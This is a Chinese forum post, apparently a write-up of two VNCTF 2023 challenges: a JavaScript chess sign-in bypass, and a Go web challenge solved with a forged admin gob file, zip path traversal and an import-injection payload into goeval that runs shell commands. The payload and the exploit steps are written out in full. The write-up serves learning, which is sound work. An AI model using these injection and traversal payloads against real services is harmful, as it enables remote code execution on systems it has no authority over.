找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

5106

积分

1

好友

705

主题
发表于 1 小时前 | 查看: 2| 回复: 0

概述

VNCTF 2023来袭!癸卯之初,让我们“兔”飞猛进。作为一名主要工作为代码审计的开发人员,我决定在新年伊始转换一下角色,投身CTF比赛,向各位大佬学习前沿思路,鞭策自己持续进步。这次比赛收获颇丰,特此记录总结。

解题过程一

VNCTF 2023 签到题象棋游戏界面

首先是一道签到题。本以为凭借业六水准可以轻松应对,没想到实战中损失了一个大子,立刻意识到事情并不简单。既然题目提示简单,那就优先从源码入手寻找逻辑。

遵循小白原则,我直接打开浏览器开发者工具(F12),寻找可读性较好的文件。很快,在几个文件中找到了关键的输赢判断逻辑:

JavaScript代码中判断输赢的逻辑

从代码 play.showWin = function (my){...} 可以看出,当参数 my === 1 时就会判定胜利。这里提供两种直接的方法:

方法一:直接调用方法并传参
在控制台直接执行 play.showWin(1),就能触发胜利条件,弹出包含Flag的对话框。
通过控制台调用play.showWin(1)获取Flag

方法二:复制执行胜利分支代码
另一种思路是找到判定胜利后执行弹出Flag的代码块,直接复制到控制台运行,也能达到相同效果。
在控制台执行胜利分支的代码逻辑

第一题顺利解决,算是热身。

解题过程二

BabyGo 762 题目页面截图

第二道题号称“真正的签到”,却让我花费了整整一天时间。作为初次参赛的小白,我着实被当代CTF题目的技术栈多样性震惊了——Web题竟然涉及Rust、Go、PHP、JS等多种语言,这发展速度着实惊人。

言归正传,访问靶场链接后,页面只显示了一个路径:
题目初始页面,显示临时文件路径

“上传按钮呢?功能点呢?” 我当时完全懵了,甚至怀疑是不是有隐藏元素。调试了半天无果后,只好求助身经百战的大佬。

关于题目路径的聊天讨论截图

经过提醒我才恍然大悟——题目附件里明明提供了源码!我居然眼瞎没看到。拿到源码后,真正的分析开始了。

Go语言Web应用主路由代码截图

源码中定义了多个路由:根目录 /、上传 /upload、解压 /unzip 和一个后门 /backdoor。我的初步思路很直接:先上传文件,再解压,最后尝试触发后门逻辑获取Flag。

源码分析

1. 根目录路由与用户初始化

r.GET("/", func(c *gin.Context) {
    userDir := "/tmp/" + cryptor.Md5String(c.ClientIP()+"VNCTF2023GoGoGo~") + "/"
    session := sessions.Default(c)
    session.Set("shallow", userDir)
    session.Save()
    fileutil.CreateDir(userDir)
    gobFile, _ := os.Create(userDir + "user.gob")
    user := User{Name: "ctfer", Path: userDir, Power: "low"}
    encoder := gob.NewEncoder(gobFile)
    encoder.Encode(user)
    if fileutil.IsExist(userDir) && fileutil.IsExist(userDir+"user.gob") {
        c.HTML(200, "index.html", gin.H{"message": "Your path: " + userDir})
        return
    }
    c.HTML(500, "index.html", gin.H{"message": "failed to make user dir"})
})

这个方法为用户创建了一个家目录(即页面显示的那个路径),并生成了一个 user.gob 文件。

知识点:Gob编码
Gob是Go语言内置的一种数据结构序列化/反序列化工具,类似于JSON或XML,常用于网络传输或本地存储。这里程序创建了一个包含用户信息(Name: "ctfer", Power: "low")的结构体,并使用Gob编码存入文件。

2. 上传与解压逻辑
上传功能有一个简单的文件后缀黑名单校验:

ext := file.Filename[strings.LastIndex(file.Filename, "."):]
if ext == ".gob" || ext == ".go" {
    c.HTML(500, "upload.html", gin.H{"message": "Hacker!"})
    return
}

它禁止上传后缀为 .gob.go 的文件。但我们可以上传ZIP压缩包。解压逻辑如下:

files, _ := fileutil.ListFileNames(userUploadDir)
destPath := filepath.Clean(userUploadDir + c.Query("path"))
for _, file := range files {
    if fileutil.MiMeType(userUploadDir+file) == "application/zip" {
        err := fileutil.UnZip(userUploadDir+file, destPath)

关键点在于 c.Query("path") 这个参数,它决定了ZIP包解压的目标路径。这个参数需要与后门逻辑配合使用。

上传成功后,页面会显示文件保存路径:
文件上传成功页面截图

3. 后门逻辑分析
后门路由的代码如下:

if fileutil.IsExist(userDir + "user.gob") {
    file, _ := os.Open(userDir + "user.gob")
    decoder := gob.NewDecoder(file)
    var ctfer User
    decoder.Decode(&ctfer)
    if ctfer.Power == "admin" {
        eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))
        if err != nil {
            fmt.Println(err)
        }

它会读取家目录下的 user.gob 文件,并解码出 User 结构体。只有当 Power 字段等于 "admin" 时,才会进入核心的 goeval.Eval 函数。

然而,初始生成的 user.gobPower"low"。因此,我们需要构造一个 Power"admin"user.gob 文件,上传并覆盖原始文件。

构造Payload与路径穿越

构造admin权限的user.gob文件的Go代码如下:

// 创建一个 User 实例
user := User{Name: "ctfer", Path: "/tmp/cc305916937566a7e859ad4e3f4ab095/", Power: "admin"}
// 打开文件
file, err := os.Create("user.gob")
if err != nil {
    panic(err)
}
// 创建一个 gob 编码器
encoder := gob.NewEncoder(file)
// 将 Person 实例编码并写入文件中
err = encoder.Encode(user)
if err != nil {
    panic(err)
}
// 关闭文件
file.Close()

将此文件打包为ZIP(例如user.gob.zip)后上传。

核心难点:路径参数 path
上传后的文件位于 uploads/ 目录下,而要覆盖的家目录 user.gob 在其上级目录。因此,在调用 /unzip 接口时,必须通过 path 参数实现目录穿越。正确的 path 值为 ../

这个细节让我困惑了很久,甚至在群里咨询了管理员(这算奇怪问题吗?):
关于解压路径的客服咨询聊天截图

经过提醒和反复审视代码,我才绕过了这个弯。总结两点经验:

  • 作为出题方,客服ID最好亲切易懂,方便沟通。
  • Web安全工作者必须具备在本地搭建、运行和调试代码的能力,否则寸步难行。

突破Eval,实现RCE

成功覆盖 user.gob 文件后,我们进入了 admin 分支,看到了 Good 的输出:
进入后门admin分支后页面显示Good

然而,Flag依然没有出现。原来,真正的挑战才刚刚开始。关键在这一行:

eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))

页面上的 Good 就是第二个参数字符串打印的结果。我们需要深入分析 goeval.Eval 函数的实现,它接受三个参数。第三个参数 pkg 我们可以通过URL参数控制,这成为了注入点。

查看 goeval.Eval 源码的核心逻辑:

func Eval(defineCode string, code string, imports ...string) (re []byte, err error) {
    var (
        tmp = `package main

%s

%s

func main() {
%s
}
`
        importStr string
        fullCode  string
      newTmpDir = tempDir + dirSeparator + RandString(8)
    )

    if 0< len(imports) {
        importStr = "import ("
        for _, item := range imports {
            if blankInd := strings.Index(item, " "); -1 < blankInd {
                importStr += fmt.Sprintf("\n %s \"%s\"", item[:blankInd], item[blankInd+1:])
            } else {
                importStr += fmt.Sprintf("\n\"%s\"", item)
            }
        }
        importStr += "\n)"
    }
    fullCode = fmt.Sprintf(tmp, importStr, defineCode, code)

    var codeBytes = []byte(fullCode)
    // 格式化输出的代码
    if formatCode, err := format.Source(codeBytes); nil == err {
        // 格式化失败,就还是用 content 吧
        codeBytes = formatCode
    }

    // 创建目录
    if err = os.Mkdir(newTmpDir, os.ModePerm); nil != err {
        return
    }
    //defer os.RemoveAll(newTmpDir)
    // 创建文件
    tmpFile, err := os.Create(newTmpDir + dirSeparator + "main.go")
    if err != nil {
        return re, err
    }
    //defer os.Remove(tmpFile.Name())
    // 代码写入文件
    tmpFile.Write(codeBytes)
    tmpFile.Close()
    // 运行代码
    cmd := exec.Command("go", "run", tmpFile.Name())
    res, err := cmd.CombinedOutput()
    return res, err

这个函数会将传入的代码拼接成一个完整的Go程序,然后在临时目录中编译执行。GitHub上的一条issue评价一针见血,也给了我继续探索的信心:
GitHub上关于goeval项目的评价截图

关键过滤与绕过
代码中有一个关键检查:

if blankInd := strings.Index(item, " "); -1 < blankInd {
    importStr += fmt.Sprintf("\n %s \"%s\"", item[:blankInd], item[blankInd+1:])
} else {
    importStr += fmt.Sprintf("\n\"%s\"", item)
}

如果 imports 参数中的字符串包含空格,它会将空格前的部分作为包别名,空格后的部分作为包路径。如果不含空格,则整个字符串会被双引号包裹作为包路径。
起初我误以为这是在过滤空格,其实它的本意是支持 alias “package/path” 的写法。但这也为我们绕过限制提供了思路:使用制表符(\t)替代空格,就能在代码中写入带空格的语句而不被拆分。

关于使用制表符绕过空格判断的技术文档截图

最终Payload构造
最终目标是执行系统命令读取Flag文件。经过无数次试错,总结出以下绕过点,都是血泪教训:

  1. main文件必须有main函数,否则编译失败。
  2. Go语言的多行注释 /* */ 必须正确闭合。
  3. 逻辑代码不能写在函数体外。
  4. 函数调用的括号不能换行,必须保持在一行。
  5. 空格可以用制表符(\t)替代
  6. 对于需要换行或包含特殊括号的字符串,可以借助 const 变量声明来绕过。
  7. 单行注释 // 可以注释掉后续无用代码。
  8. ${IFS} 是Linux中默认将空格、制表符、换行符作为内部字段分隔符的环境变量,可用来在命令中替代空格。

最终构造的恶意导入语句(pkg参数)Payload示例如下:

"fmt");const(M="os/exec";F="fmt";func%09init(){cmd:=exec.Command("/bin/sh","-c","cat${IFS}/ffffllaaagg");res,err:=cmd.CombinedOutput();fmt.Println(string(res));fmt.Println(err)};//

这段Payload被URL编码后传递。其核心逻辑是:

  1. 闭合原本的 "fmt" 导入。
  2. 定义常量,其中包含一个 init() 函数(Go程序启动时自动执行)。
  3. init() 函数中执行系统命令 cat /flag(假设Flag文件路径)。
  4. // 注释掉后续可能产生的错误代码。

构造成功的Payload执行后,能够在页面回显中看到命令执行的结果:
成功执行系统命令并回显Flag的页面截图

总结

  1. 知识储备:需要具备一定的知识广度,了解不同语言和序列化机制(如Gob)。
  2. 本地环境:必须拥有相关语言的本地运行和调试环境,专业的IDE能极大提升效率。
  3. 实践总结:多刷题、多复盘,将踩过的坑和绕过技巧归纳成经验。

这次VNCTF之旅,从一个简单的JavaScript前端签到题,深入到复杂的Go语言后端代码审计与RCE利用,过程曲折但受益匪浅。后续有时间,我还会继续分享更多CTF Web相关的知识点。不说了,领导喊我去改项目BUG了。


本文由云栈社区编辑发布,分享实战经验,助力技术成长。




上一篇:硬件工程师困境与破局:研发中的沟通不畅与项目管理难题
下一篇:渗透测试实战:那些容易被忽略的WSDL接口安全风险与测试方法
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-4-10 07:27 , Processed in 0.842766 second(s), 41 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表